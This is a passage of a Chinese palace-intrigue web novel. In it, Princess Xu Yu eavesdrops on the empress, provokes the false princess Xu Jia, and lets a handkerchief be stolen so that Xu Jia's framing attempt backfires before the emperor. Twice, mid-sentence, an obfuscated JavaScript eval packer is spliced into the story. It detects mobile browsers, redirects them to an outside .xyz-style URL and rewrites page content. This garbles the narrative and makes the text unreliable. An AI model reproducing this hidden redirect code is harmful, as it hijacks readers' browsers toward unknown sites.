胥毓望着他消失在宫墙外的身影,嘴角轻扬,甚至忽然觉得手臂上的伤处似乎也没那么疼了,她摩挲着邰玉轩留下的那只青瓷药瓶,感受到瓶底刻着的那个小小的“轩”字,就像是某种隐秘的,独属于他们二人的承诺…… 而此时,未央宫的另一侧,就在邰玉轩离开后不久,一个宫女快步进入了皇后的寝宫。 “娘娘。”来人抬头,正是香巧,“邰世子悄悄潜入未央宫,见了公主。” 梳妆台上的铜镜映出沈青梧姣好的容颜,她闻言并未动怒,反而露出一抹意料之中的微笑。 “就怕他不见……” 38. 谁的棋子 三日的时光稍纵即逝。 是日一早,晨光熹微,宫墙上的琉璃瓦还凝着昨夜的露水,胥毓便已经披了件藕荷色绣缠枝纹的薄衫,向着学堂的方向缓步而行。 因着中毒一事,皇子公主们如今不必再去往崇文馆上课,而是将文华殿空置出来,暂做学堂。 文华殿离未央宫距离并不算远,加之今日起了个大早,所以胥毓走得并不算快。 她今日只带了芳吟一人,若非是还需要个人帮她提着书匣,其实她一个人都不想带着。 毕竟此去文华殿,表面是上课,但主要任务还是与邰玉轩商讨胥季荷之事。 眼看着就要走出未央宫的大门,芳吟忽然快步上前,贴在胥毓耳畔轻声说道:“公主,今日一早,尚书夫人便来了皇后娘娘宫中。” 胥毓拢了拢衣袖,闻言脚步一顿,思索了片刻,便调转方向,朝着皇后的寝殿快步走去。 她没打算进屋去打断里边儿交谈的两人,所以步子迈地极轻,偶有两个瞧见她的宫女,她也一并抬手嘘声,没让人行礼。 等到好不容易行至黄昏殿外,胥毓倾身,比两人的声音更显传来的,是屋子里浓烈的沉水香味。 她揉了揉鼻子,抑制住想要打喷嚏的冲动,然后隐在了一旁的廊柱后。 透过半开的雕花窗棂望去,只见皇后端坐在紫檀木嵌螺钿的圈椅上,素白的手指捧着越窑青瓷茶盏,而在她的对面,坐着个穿绛紫团花褙子的妇人,那妇人发间的步摇随着她说话的动作而轻颤,正是吏部尚书沈文石之妻,皇后的生母柳静岑。 “……你如今贵为皇后,行事怎么能这般不顾体统?”柳夫人声音压得极低,却字字如刀,“太子乃储君,人无完人,就算偶尔犯了点小错,也是情理之中。你作为后宫之主,如何能只顾自己的孩子,而忽略了他。况且说到底,再不济,他也是你亲姐姐的孩子!你如此公然将死人丢到他东宫门前,可有想过这朝野上下会如何议论?咱们沈家的脸面还要不要?” 茶盏与托碟相碰,发出清脆的声响。 皇后垂眸,唇角噙着恰到好处的浅笑:“母亲教训的是,女儿知错了。” 阳光透过窗棂,在她脸上投下细密的光斑。 胥毓注意到皇后交叠的双手,拇指上的翡翠扳指正轻轻摩挲着食指关节,这似乎是她隐忍时惯常会做的小动作。 “……你也别怪母亲说你,你父亲为太子太傅,你长姐又是是太子生母。”柳夫人捏着帕子按了按唇角,“咱们沈家与东宫一荣俱荣,你如今这般行事,可有想过你父亲往后在太子面前要如何自处?” “女儿明白。”皇后截住话头,她抬起眼时,眸中一片澄明,“只是那宫女纵火谋害皇嗣,若不严惩,只怕东宫更要落个御下不严的名声,所以本宫其实也是为了维护太子的名声。” 柳夫人一噎,面上顿时不满,立马将手中茶盏重重搁在了桌上。 感情自己说了这么许久,绕来绕去,又被她饶回原地! 但皇后恍若未觉,已经转向身旁侍立的宫女:“去把新贡的云雾茶取些来,母亲最爱这个,待会儿让母亲带些回去。” 胥毓悄悄后退半步。 芳吟见状立马凑近耳语:“尚书夫人每月初七必来请安,但不知为何,今日才初五……” 还能是为何。 “是来问罪的。”胥毓望着殿内那个始终挺直脊背的身影,不知道此刻的皇后,会不会为当时替自己出气的举动而感到懊悔。 但这个想法才刚冒出来,胥毓又立马忍不住在心里开始反驳:皇后这样的人,高傲如她,又怎么可能会为自己已经做过的事情感到后悔? 她的视线重新落在屋子里的皇后身上,只见她应对得游刃有余,每一次柳夫人疾言厉色地指责,都既不顶撞也不退让,就像是在棋盘上下棋,每一步虽都是轻巧落子,但却总是在不经意间,将所有的凌厉攻势一一化解。 只是,应对的这样熟稔,也不知当这个皇后,这样的局面,她已经不厌其烦的面对了多少次。 看来,就算是一人之下,万人之上的皇后娘娘,困在这被权利包裹住的深宫之中,也是并不快乐的。 回廊转角处几株海棠开得正艳,花瓣飘落在胥毓肩头。 “芳吟,母后她当初还在尚书府时,柳夫人也是这般对她的吗?”胥毓捻着花瓣,声音轻得几乎听不见。 芳吟沉默片刻,才小声地说道:“娘娘与先皇后虽一母同胞,都是柳夫人的孩子,但自幼便不得柳夫人宠爱,若非是当年先皇后生下太子后便撒手人寰,想来娘娘如今,应也只是一位寻常的世家妇。” 她是自愿进宫的吗? 虽然当皇后会享有数不尽的荣华富贵,但胥毓就是觉得,沈青梧这样的女子,不会甘心于做一只被困在笼子里的鸟雀。 可是吏部尚书彼时作为文官之首,她的女儿不做皇后,岂非便是要他大权旁落? 所以想与不想,又岂是沈青梧这么个闺阁之中的女子所能够决定的呢? 只是除此之外,胥毓总觉得,或许还会有另一个不为人知的理由促使着她进宫,而那个理由,或许还和胥季荷有关…… “公主,该去文华殿了。”芳吟轻声提醒。 胥毓最后望了眼窗内。 阳光正好照在皇后半边脸上,映得那支白玉响铃簪通透如水,而背光的那侧,胥毓清晰地看到,她眼角的细纹里藏着的疲惫无所遁形。 * 胥毓踏入文华殿时,殿内尚空无一人。 晨光透过雕花窗棂洒落在青砖地上,映出斑驳的光影,她示意芳吟将书匣放在角落的矮几上,自己则缓步踱至窗前,望着庭院中那株初绽的海棠出神。 不多时,殿外传来脚步声,邰玉轩一袭靛蓝长衫,手中捧着几卷竹简匆匆而来。 见胥毓已在殿内,他脚步微顿,随即行礼道:“荣安公主来得早。” 胥毓收回思绪,转身浅笑:“不及邰将军勤勉,本公主不过是闲来无事,先来温习功课罢了。” 邰玉轩将竹简置于案上,目光在她略显疲惫的眉眼间停留一瞬:“公主今日气色不佳,可是昨夜未休息好?” “尚可。”胥毓不欲多言,指尖轻抚过书页,“倒是邰将军调查的关于胥季荷一事,不知可有进展?” 邰玉轩正欲作答,殿外忽然传来一阵骚动。 只见太子胥阳丹与胥嘉并肩而来,胥嘉一身鹅黄襦裙,发间金步摇随着娇笑声轻轻晃动,二人有说有笑,倒是完全没瞧出受了什么惊吓的模样。 看样子那所为的称病,估摸着也只是太子用来敲打沈尚书,从而桎梏皇后的手段罢了。 太子进门后,目光扫过殿内,在胥毓身上略作停顿,嘴角勾起一抹意味深长的笑:“荣安今日怎么来了。” “见过大皇兄。”胥毓福身行礼,但对胥阳丹的问题却是避而不答,反而突然提高声调,提着裙摆朝他小跑过去:“皇兄~我几日未来,落下许多课业,刚刚还被邰将军给训斥了,你快帮我看看这句说得是什么意思呀!” 方才“训斥”过她的邰玉轩:…… 太子的眉头也几不可察地一皱,胥毓人前要么是咄咄逼人,要么就是不搭理人,何时露出过这样小女孩儿般娇气的模样,所以他直觉有鬼。 可作为妹妹,她向自己询问功课,他又没有直接拒绝地道理,所以虽然心有不安,他到底还是接过了胥毓手中的竹简。 罢了,大不了他说话的时候小心一点,不着了她的道就是。 但他再小心也无济于事,因为胥毓从头到尾都没打算对他出手,至少面上,她是真心过来讨论课业的。 这几日在未央宫想了又想,胥毓觉得,与其自己出手对付胥嘉,倒不如多刺激刺激她,让她手忙脚乱地出手,之后自己再趁机抓住她的马脚往皇帝面前告状。 这样就既能收拾了胥嘉,也不会显出是自己排挤手足犯了皇帝忌讳。 而要想刺激胥嘉,旁的胥毓或许还要再使些手段才能知道,可摆在明面上的这个活桩子,她却是一眼就能看到。 胥嘉此人,不论前世今生,都太看重与太子的情,不论是亲情还是爱情,她都只希望胥阳丹的眼里只能看见自己一个。 所以趁着太子来文华殿的这段时间,故意横在他们二人之间搞搞破坏,相信用不了多久,胥嘉就会狗急跳墙的再次都自己出手了。 想到这儿,胥毓又趁机挤到两人中间,然后衣袖“不小心”扫过胥嘉身旁的茶盏,然后“哐当”一声,茶盏落地,里头的水花溅湿了胥嘉的裙角。 “呀!胥嘉郡主真是抱歉,不小心弄脏了你的裙子!”胥毓眨着眼,指尖却悄悄拽住太子袖口,“……不然你先回去换身衣裳吧,刚好本公主还有许多问题想问问大皇兄,他应当是没有时间再陪你呢。” 邰玉轩站在十步外的讲桌旁,手里整理着教案,余光却一直不轻不重地落在胥毓身上。此刻见胥毓半个身子都快贴到太子的臂膀,他手上“不小心”一抖,桌上的竹简便全都“哗啦哗啦”的落在地上。 众人果然循声望去。 “邰将军,可需要帮忙?”太子出声询问。 邰玉轩摇头:“只是竹简掉了,臣捡起来便好。” 胥毓瞥见那修长的身影微微弯腰,然后伸出纤长的手指,一卷一卷地将地上的竹简捡起,唇角微勾,故作不知他那些暗戳戳地小心思。 而这边胥嘉自然看得出胥毓的刻意针对,当然,胥毓也没瞒着她,每次抢走了太子的注意,并且同时挤兑了她后,都会热心地再多给她一个挑衅地眼神。 所以胥嘉走了,被气走的。 她的动静不小,走得时候捂着脸哭得哇啦哇啦,所以太子就算想不知道也难,而不出意外,他也跟着胥嘉一块儿跑了。 待太子和胥嘉一道消失不见,胥毓故意提高声音:“哎呀,看来本公主这个真妹妹,确实比不上那个假妹妹讨人欢心呢。” 邰玉轩大步走来,身上带着熟悉地松木气息,他抽走胥毓手中的竹简,然后轻轻地敲了敲她的脑袋:“公主天资聪颖,微臣不好多言,只是还是要奉劝一句:当心玩火自焚。” “将军多虑了。”胥毓就势靠得更近,从殿外的方向来看,两人几乎耳鬓厮磨,“玩火不一定自焚,只有被别人放火烧,才极有可能会丢掉性命。” 邰玉轩瞳孔骤缩。 但还不待他反应,胥毓已退开半步,然后娇声道:“邰将军是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而且还就那么刚刚好的,见了胥瀮一面,传位给他后,先皇便也就跟着驾崩了。 这谁看了不说上一句有问题! “新帝登基第七日,大皇子便暴毙于府中。”邰玉轩突然握住她的手,“胥季荷则......彻底消失了,并且自那以后,当今圣上便下令,朝野上下皆不得再提及此二人。” 胥毓呼吸一滞。 水榭那头传来几个宫人的交谈声,胥毓低头看着两人交握的手,轻声问:“你见过胥季荷的画像吗?” 虽然木偶人雕刻的活灵活现,但总不及画像来得清楚。 邰玉轩沉默着从怀中取出一张宣纸,展开后,只见画中少女执剑而立,眉目如画,唇角微扬,带着三分英气,七分傲然。 虽只是简单勾勒,但那眉目轮廓,与胥毓在密室中所见的相差无几,也与她的面容,更加相似! 胥毓的指尖抚过绢面,突然轻笑出声:“难怪他们那些人每次见我,眼神都像是在透过我看别人。” “公主……” “还是叫我阿柳吧,是不是公主,现在可真是不太好说。”胥毓闭了闭眼,脑海中闪过皇帝意味深长的眼神,皇后眼底的恨意,以及芳吟提起“癸酉年大寒”时的那抹哀伤…… 她低笑一声,笑声里带着几分自嘲:“我原以为,我终于有家了。” 她一直是个孤儿,后来从云溪那里得知画本子的真相,便以为自己终于有了父母,可如今才知,她连这个身份都是假的。 她不是公主,而是……胥季荷的女儿,这就是云溪离开的时候,所说的那个连画本子里都从未提及的更深的秘密吗? 那皇后呢?皇帝呢?他们为何都不拆穿?又为何……一个恨她,一个忌惮她? “阿柳。”邰玉轩再次握住她的手,那掌心灼热的温度,让胥毓失控的情绪稍有缓解,“别想那么多,无论你是谁,在我心里,你永远都是公主。” 胥毓抬眼看他,少年的眸色深沉如墨,映着她满脸泪痕的倒影。 “邰玉轩。”她轻声问,“若我不是公主,你还会站在我这边吗?” “会。”他毫不犹豫,“无论你是谁,我都会是你的刀,你的盾,只为你一人,所向披靡。” 胥毓眼眶微热,邰玉轩的话让她好受不少,至少,眼前的这个人,如今还站在她的身边。 所以方才的情绪来得快也去得快,她吸了吸鼻子,便将所有不好的情绪统统压了下去。 然后转而问道:“刚才我缠着太子,你是不是吃醋了?” 邰玉轩耳根微红,却避而不答:“公主故意亲近太子,是为了逼胥嘉出手?” 他了解她,不管胥阳丹究竟是不是她的哥哥,她都不可能会喜欢那样满腹算计之人。 所以他从不担心胥毓的举动,会是源自于和胥嘉的争风吃醋。 胥毓轻笑,点头默认:“她不出手,我怎么找她的错处?” “可是,即便送走胥嘉,也未必能解决所有问题。” “我知道。”胥毓抬眸,眼底锋芒毕露,“我现在只是想让他们也知道,若真的必须有人要走,那这个人……绝对不会是我。” 她不是这深宫里边儿娇滴滴的公主,她早说过,自己就是一条毒蛇。所以若非是她自己想走,这些人但凡再对她出手,她必然也不会再手下留情。 毕竟权力这种东西,可从来不是任何人的私有产物。 而且,既然有人费尽心机的把她这个假公主送进深宫,她也有些想知道,到最后,自己究竟会是谁的棋子…… 39. 谋算 且说那日文华殿一别后,接下来的几日胥毓又接连找着理由缠上了太子。 这日太子胥阳丹方下了早课,锦袍玉带上还沾着几分翰墨清香,忽见太湖石畔转出一抹茜色身影,不是胥毓又是谁? 她借着养病的名头没去上课,但又一直装出勤勉好学的姿态,不是有什么诗句读不通,就是哪一处拳脚领略不透,反正借口千奇百怪,所求万变不离其宗,都只为给胥嘉添堵。 今日照旧是“读不懂诗”,所以老早胥毓就蹲在了文华殿外,只等着太子一下课,便冲上去“求解一二”。 “大皇兄请留步。”如今见了人,但见胥毓轻移莲步,鬓边一支累丝金凤随着她的动作微微颤动,映着透亮的日光,在她脸上洒下细碎的金辉。 她手中捧着一卷《贞观政要》,指尖在书页上轻轻摩挲着,“大皇兄现下可有空,昨日读到‘为君之道’一章,其中‘兼听则明’四字,毓儿百思不得其解,所以想来问问大皇兄此当何解?” 胥毓生得一副极清雅的容貌,远看如雪砌冰雕,近观似画中仙娥。她肌肤莹白,并非那种娇养出来的粉腻,而是透着几分冷玉般的清透,仿佛常年浸在寒潭里,连日光拂过都似要凝成霜。 她平日不爱说话,唇角总是微微抿着,显得冷淡疏离。所以往常太子不常与她接触,便只以为这位大皇妹如她面上那样,冷心冷情,像冰块。 但经过这几日的相处,他忽然发现,小姑娘若是笑起来,那笑意便会从眼底漫上来,先染了眉梢,再浸透眼尾,最后才在唇畔绽开。像是春风吹化了冻湖,涟漪一圈圈荡开,连带着周身那股子寒气也散尽了,只余下娇憨可亲的模样。让人忍不住想捏捏她的脸,看看这冰雕玉琢的公主,是不是也会害羞脸红。 偏生她自己似乎并不知晓这一笑有多招人,每每笑完,又很快恢复那副清冷模样,徒留旁人心痒难耐,想再看她笑上一回。 所以太子虽知晓她这反常的举动极有可能是不怀好意,但自信如他,私心里又想多看看这张笑脸,故此胥毓每回来问,他虽面上不显,但心里却是带着几分喜意。 可此番正要开口,忽听得假山后一阵环佩叮咚,两人一道循声望去,便见胥嘉穿着一身杏黄色裙衫疾步而来。 “太子哥哥,你可是答应了今日要教我射箭的!”胥嘉一来便挽住太子手臂,她说着眼角斜睨向胥毓手中书卷,朱唇微撇道:“荣安公主往日不见用功,近日缘何突然奋发图强,这知道的说是您勤勉好学,不知道的,还当是你对太子哥哥……” 她话说一半,眼神讥诮,似要暗示旁人胥毓对太子另有图谋。 但众人眼中,一个亲妹妹,一个假妹妹,又不是谁都如她一般连血脉亲情都能毫不在意,所以这番挑衅,落在旁人眼中,也不过是让她搬起石头砸自己的脚而已。 胜在太子还不算太蠢,顾忌着此时还有外人,赶忙将手臂从胥嘉的怀里扯了出来。 “嘉儿……”他掩着唇轻咳一声打断胥嘉,正想装模作样训斥两句。 却见胥毓已“识相”地退后半步,自觉让出了胥阳丹身边的位置。 她那葱白似的指尖将书卷攥得微微发皱,面上却浮起浅笑:“是毓儿唐突了,胥嘉郡主与大皇兄十几年的感情,如何是我所能相提并论的,所以大皇兄既与胥嘉郡主有约,那皇妹……” 但她话未说完,却忽地掩唇轻咳起来,单薄肩头在春衫下轻轻颤抖,就好似风一吹便会承受不住地栽倒在地。 太子见状,不由伸手虚扶:“可是身子还没养好?” 刚一问完,他又忽的想起胥毓之所以会“身体不好”,全都有赖于回宫这段时日自己和胥嘉的好心“照拂”,所以安慰的话刚要出口,便又不自觉地堵在了喉咙口。 胥阳丹抿了抿唇,又瞧了瞧胥毓苍白的脸色,心里忽然就开始后悔起来。 左右不过一个皇妹,这般弱不禁风的,书也读不透,武也学不动,就算想要给自己使袢子,只怕都是还没害得了别人,就先把自己给绊倒在地了。 他当初到底是脑子里糊了什么浆糊,才会相信胥嘉所说的这个变数会影响自己的大局? 想到这里,他懊恼地瞥了胥嘉一眼。 但毕竟还有一路扶持的情谊,以及她那预知未来的能力,所以就算不满,胥阳丹也没有立即发作,而是转头对胥嘉温声说道:“嘉儿,不若改日……” 改日再教她射箭,反正他们两人之间有的是时间,他现在……有些放心不下胥毓,想先送她回未央宫。 “太子哥哥!”胥嘉当然不允,她气得直跺脚,腕上金镯也撞得叮当作响。 可胥阳丹心意已决,任凭她把地板跺烂也不会轻易改变,所以最后胥嘉再不满,也只能眼睁睁看着胥阳丹扶着“矫揉造作”的胥毓,慢悠悠地朝着未央宫的方向走去。 “胥毓……”看着地面二人几乎融为一体的影子,胥嘉绞紧了手中的帕子。 前一次动手失误,她花了好几日才哄好了太子,所以近期她并没打算再动手的。可胥毓这个贱人,偏偏天堂有路她不走,地狱无门她闯进来,动谁不好,非要把主意打到太子身上! 她两世为人,父皇不是父皇,母后不是母后,所谓的兄弟姐也全都和她没有血缘关系,唯有太子胥阳丹,那可是她两世唯一能够依靠的人呀! 胥毓是怎么敢的! 她绝不会放过她的,胥阳丹的身边,只能有自己一个人!其他的女人,就算是妹妹,也绝对不行! * 转眼三日过去。 这日胥毓正在后殿更衣,忽听得外间琴夏一声惊叫,待她整理好月白中衣,披上藕荷色对襟外裳出来时,只见琴夏已经面色煞白地跪在地上。 “公主恕罪!方才奴婢去取熏笼,回来就见妆台上的手帕不见了!”小宫女声音发颤,“奴婢分明记得那方帕子就放在这里的,上边儿还绣着您的闺名,若是被哪个不长眼的拿了去,只怕是要……” 琴夏说不出口了,她现在觉得脖子上凉飕飕的,就好像脑袋已经告别她的脖子,提前离家出走了。 这几日胥毓反复叮嘱一定要盯紧屋子里的东西,杯具茶盏,丝巾手帕,胭脂水粉,珠钗头饰,任何小到不能再小的东西,都得记清数量以及摆放的位置。 她也一直认真按公主交待的行事,但没想到今日就离开了那么一小会儿,屋子里竟然就出了事,而且丢什么不好,丢的还是公主的贴身帕子。 这和丢了她的命有什么区别啊,她可真是要活到头了! 但相较于琴夏的紧张,胥毓却是不急,只慢慢对着铜镜抿着口脂。铜镜里映出她微微上扬的唇角,宛若新月,媚而不俗。 随后她伸手打开描金妆奁,从中取出一只缠枝牡丹纹锦盒,盖子掀开,只见里头整整齐齐叠着一盒子相同款式的素绢帕子,且每方角落都绣着小小的“毓”字。 既然早知胥嘉心怀不轨,她又怎么可能全无准备? 所以今早丢的那方帕子,不过是她故意让人给“偷”走的罢了。毕竟不给人机会,那等到猴年马月,估计都等不到人动手。 “去告诉内务府。”她指尖抚过最上面那方帕子,“就说未央宫丢了几件首饰,要他们近日多加留意。然后将这些帕子,全都散出去……” 琴夏领命应是,没有多问,随后恭敬地退了下去。 至于胥嘉那边,胥毓执起狼毫,在宣纸上勾出一尾游鱼,随后笔锋突然一顿,在鱼唇处重重一点,墨迹顿时晕开,化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106215|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作一直小小的鱼钩。 她总要给人留点时间做做准备。 * 翌日清晨,胥毓换了身天青色宫装,然后便带着琴夏赶着皇帝下朝去了皇极殿。 胥毓事先便特意留意过,皇帝每日下朝,都会到皇极殿批阅奏折,直至晌午是非,才择一后妃的宫殿前去用膳。 所以她现在去,刚好赶得及汇报自己想说的事儿。 行至皇极殿外,当值的太监张炳春见她来了,忙不迭行礼:“见过荣安公主,公主今日气色倒好,可是身体大愈了?” “劳张公公关怀,已经大好。”胥毓笑着应答。 但忽而又蹙起黛眉,指尖在袖中不安地搅动:“张公公,父皇可得闲?我有些话想同父皇说说……”话到一半又止住,她朝琴夏递了个眼色,后者立马从袖中取出个荷包塞了过去,“张公公,劳您通传。” 张炳春哈哈一笑,掂了掂荷包的重量,朝胥毓道了句稍等,便朝着殿内走去。 随后不过半盏茶工夫,里头便传来了召见的声音。 胥毓缓步走进殿内,一如她初回皇宫的那日,皇帝正埋首在案牍里批阅奏折。只是不同于上次的是,这次皇帝倒没有等人提醒,才发现胥毓的存在。 他批阅完手头的那本奏折,一抬头,便见爱女进来请安。 随即立马搁下朱笔笑道:“毓儿来得正好,快来尝尝这新贡的云雾茶。” 但胥毓却不就座,反而径直跪下行了个大礼:“父皇,儿臣是来请罪的。” 皇帝诧异,但还不等他有所动作,却见胥毓已经从袖中取出份单子,上头列着些首饰名目。 “未央宫近日遗失了几件物件,原不想惊动父皇……”她声音渐低,耳垂上的明月珰轻轻晃动,“但近日丢失的东西越来越多,其中几样,还是儿臣的私物……这些东西若是被有心人加以利用,儿臣名声有损是小,可若丢了皇室颜面,只怕……” 皇帝接过单子细看,不过是些寻常珠花、手绢。 他眉头微蹙,指尖在单子上轻轻摩挲,目光却落在女儿低垂的羽睫上。那睫毛在殿内烛火的映照下,在玉白的脸颊上投下两弯浅影,随着她不安的呼吸轻轻颤动。 “毓儿。”皇帝搁下单子,忽然伸手托起她的下巴,拇指在她眼下轻轻一抹,“怎得还是这般憔悴?” 胥毓似是被这突如其来的温情惊到,眼波微晃,却很快又垂了下去:“儿臣……儿臣近日总睡不安稳。” 其实是出门的时候刻意多铺了两层粉。 但皇帝并不知情,直男只能看出她的脸颊一片惨白,嘴唇也毫无血色。 他又看了看女儿低眉顺目的模样,不知道这些个下人怎么伺候的,好好一个人,竟是越养越孱弱!这性子也越发的胆小怕事,连丢了点首饰都怕成这样,平日里只怕是还受了不少的磋磨! 想到这里,他连忙亲自扶她起来,“这些琐事也值得让你烦忧?让内务府去查便是,你是我东陵城的荣安公主,不必如此畏首畏脑。此事你只管放心,朕亲自盯着,不论是偷盗的小贼,还是真有谁想要害你,那都是在跟朕过不去,朕势必会为你讨个公道出来!” “那儿臣便先谢过父皇了……咳咳……咳!”毓顺势起身,但说着又是一阵抑制不住地轻咳。 那单薄的肩膀颤得令人心怜,皇帝抚着她的鬓发,目光愈发的慈爱,心想着这些时日自己莫不是真的亏待她的,不然怎么才几日时间,就变成了这副模样。 难掩的病容之下,那张脸也与记忆中的模样相去甚远,这可绝对不行! 看样子,他还是得好好关怀着这孩子呀! 皇帝的思绪千回百转,却殊不知此时少女低垂的睫毛下,眸光冷如深潭…… 40. 偷吃不成蚀把米 且说那胥嘉得了胥毓的帕子后,心中暗喜,如获至宝,日夜思量着要如何借此大做文章。 这日清晨,她早早起身,对镜梳妆,特意换上杏黄绣金凤的宫装,鬓边簪一支赤金点翠步摇,又取了一对翡翠耳坠戴上,映得肌肤如雪,明艳照人。 她对着铜镜左右端详,唇角微翘,眼中闪过一丝得意。 “郡主今日气色极好。”贴身宫女蕊芝奉承道。 胥嘉轻哼一声,指尖抚过袖中藏着的那方绣帕,正想打发人去看看太子可在东宫,思考着要不要与他商议一番,就见太子身边的小太监匆匆从前门赶了来。 那小太监名唤福安,是胥嘉安插在东宫的眼线,此刻匆匆赶来,额上还沁着细汗,显是一路疾跑而来。 他一见胥嘉,便扑通跪下,低声道:“郡主,不好了!” 胥嘉眉头一皱,指尖捏紧了袖中的帕子:“慌什么?说清楚!” 福安咽了咽唾沫,压低声音道:“殿下昨夜……又收了一位侍妾,是赵统领的亲妹妹,赵家二小姐。” “什么?!”胥嘉猛地站起身,袖中帕子险些滑落,她死死攥住,指节都泛了白,“这才几日?前儿个不是刚收了柳家的小姐吗?” 福安不敢抬头,只低声道:“殿下说……赵家小姐温柔可人,又懂骑射,很合他的意……” 胥嘉气得胸口起伏,杏眸中怒火翻涌。 她倒不是真在意太子纳妾,反正横竖将来她是要做皇后的,这些莺莺燕燕不过是过眼云烟。可太子这般频繁收人,且这些时日又有些亲近胥毓,分明是没把她放在眼里! 她一心想他所想,为他筹谋,他可倒好,和自己唱反调相信胥毓那个女人也就罢了,这些天侍妾也是一房接一房的往东宫抬,实在是不可饶恕! 所以她当即起身,带着蕊芝直奔东宫。一路上,她越想越气,脚步愈发急促,连裙裾扫过石阶都带起一阵风。 但等她真到了东宫,却见太子正与几位幕僚在书房议事。 她赶到门外,门口的侍卫拦住了她:“郡主,殿下正在商议要事,吩咐不得打扰。” 胥嘉冷笑:“本郡主有急事!” 平日里胥嘉的得宠东宫之人皆看在眼里,都知道她是太子殿下看重之人,可是眼下太子正在商议要事,马虎不得,就算是她,那也是坚决不能放进去的。 所以侍卫虽面露难色,但却仍不退让:“殿下严令,任何人不得入内。” 胥嘉气得指尖发颤,却又无可奈何。她站在廊下,听着里头太子低沉的笑声,心中怒火更盛。 笑得那么开心,只怕谈的要事,指不定又是要将谁家的小姐抬进东宫来做侍妾! 她攥着帕子,忽然瞥见不远处站岗的赵统领,正是太子新收的那位侍妾的好兄长! 胥嘉眼中闪过一丝狠色。 “好,很好。”她冷笑一声,转身便往御书房方向走去,“既然太子殿下忙,那本郡主就去找父皇说道说道!” 蕊芝见她神色不对,连忙跟上:“郡主,您这是要……” 胥嘉捏紧帕子,唇角勾起一抹讥诮的弧度:“本郡主倒要看看,在太子的心里,究竟是我重要,还是他那忠心耿耿的赵统领更重要!” …… 御书房内,皇帝正批阅奏折,忽闻外间太监通传:“皇上,胥嘉郡主求见。” 皇帝眉头微皱,不知她突然来见自己所谓何事,但毕竟这么多年的父女情分,他倒也没有特意苛责,所以搁下朱笔便道:“宣。” 胥嘉莲步轻移,进殿便盈盈下拜:“儿臣参见父皇。” 她声音娇柔,眼角微微泛红,似有委屈。 皇帝见她这般情状,不由问道:“嘉儿这是受了什么委屈?” 胥嘉抬眸,眼中含泪,却又似不敢言,只低声道:“儿臣并未受什么委屈,只是……儿臣近日发现一事,事关重大,不敢隐瞒父皇,却又怕……” “但说无妨。”皇帝沉声道。 胥嘉这才从袖中取出那方绣帕,双手奉上:“父皇请看。” 皇帝接过帕子,见上面花样并不奇特,只是在角落处绣了一个小小的“毓”字,针脚细密,与那日胥毓拿来的如出一辙。 确是胥毓之物。 想到此时,他心中隐约有些猜测,抬头看了看尚且一无所知的胥嘉,他眉头微蹙,状似不解:“这是何意?” 胥嘉故作犹豫,低声道:“方才儿臣去东宫探望太子哥哥,碰巧他在忙,便要打道回府。可谁知这刚准备走,就见东宫侍卫统领赵成身上掉下一块帕子。当时他走得急,没发现,儿臣便让蕊芝拾了去还与他。但谁知蕊芝这捡起来一看……竟是荣安公主的贴身之物!” 皇帝面色骤变:“什么?” 胥嘉见皇帝震怒,心中暗喜,面上却愈发惶恐:“父皇息怒,这事儿……儿臣本不欲多言,可事关皇家体统,儿臣不敢隐瞒!荣安公主她出生乡野,于礼法方面或许确有欠缺,但此事实在荒唐,她与那赵成……” “放肆!”皇帝拍案而起,眼中怒火翻涌,“你可有证据?” 什么证据不证据的,是非曲直他心中早已明朗,必然就是这胥嘉容不下毓儿,所以使计来想要构陷与她! 当日那孩子担惊受怕的瘦了一圈,脸色白的像纸一样,生怕因为遗落了东西累及皇室尊严。 但同样是享受皇室供奉,这胥嘉可倒好,性子近来是越发混账,不日日想着精进己身也就罢了,竟还歪心思打到自家人身上,动起了胥毓的主意! 实在是胆大包天! 只不过,当初身份一事拨天见日,乃是太子一力主张将她留在皇宫,且此事有所牵扯的也是东宫之人。所以他且还待再看看,背后策划之事太子可也有一并参与。 而胥嘉对于皇帝心中所想全然不知,眼下情况,她已经确定自己说得话皇帝信了五分,于是连忙跪下,颤声道:“儿臣不敢妄言,这帕子便是证据,东西从他身上掉下来,想必那赵成是日日贴身藏着,若非儿臣偶然撞见,怕是……怕是他与荣安公主,早晚会有首尾!” 皇帝面色阴沉,静静地看她半晌,终是冷声道:“来人!传太子!” * 东宫内,太子胥阳丹刚与幕僚商讨完毕,忽闻皇帝急召,心中疑惑,却也不敢耽搁,连忙整衣前往御书房。一进门,便见皇帝面色铁青,胥嘉跪在一旁,眼中含泪,似受了极大委屈。 “儿臣参见父皇。”太子行礼道。 皇帝冷冷看他一眼,将帕子掷于案上:“你可认得此物?” 一块帕子,能有什么怪处,值得大老远将自己请来查看? 太子心下不解,又望了望跪在地上的胥嘉,莫名有些惴惴不安。他将帕子拾起仔细一看,有些眼熟,一看便是女儿家的东西,可他房里那些女人的帕子无一不是沾满了脂粉味,哪像这帕子似的又素又雅,所以必然与他无关。 可正待还回去,他又忽然瞥见帕子一角绣着一个小小的“毓”字。 胥阳丹眉头微皱,好像确实是在胥毓的身上瞧见过这样的帕子,于是他小心答道:“似乎是大皇妹的绣帕,不知怎会在父皇这里?” 皇帝冷笑:“朕倒要问问你,这帕子,为何会在你东宫侍卫赵成的身上?” 太子闻言,面色骤变:“什么?” 他猛地转头看向胥嘉,眼中寒光一闪,心中顿时明白了个大概。 昨日他抬了赵成的妹妹入东宫,此事胥嘉想来已经知情,听闻她早上时候来找过自己,多半是心头有气,但自己当时在忙正事忽略了她,所以未能及时向她解释纳下赵成妹妹一事的缘由。 估摸因着这事,她一时气恼,便将陷害胥毓一事和赵成扯上了联系! 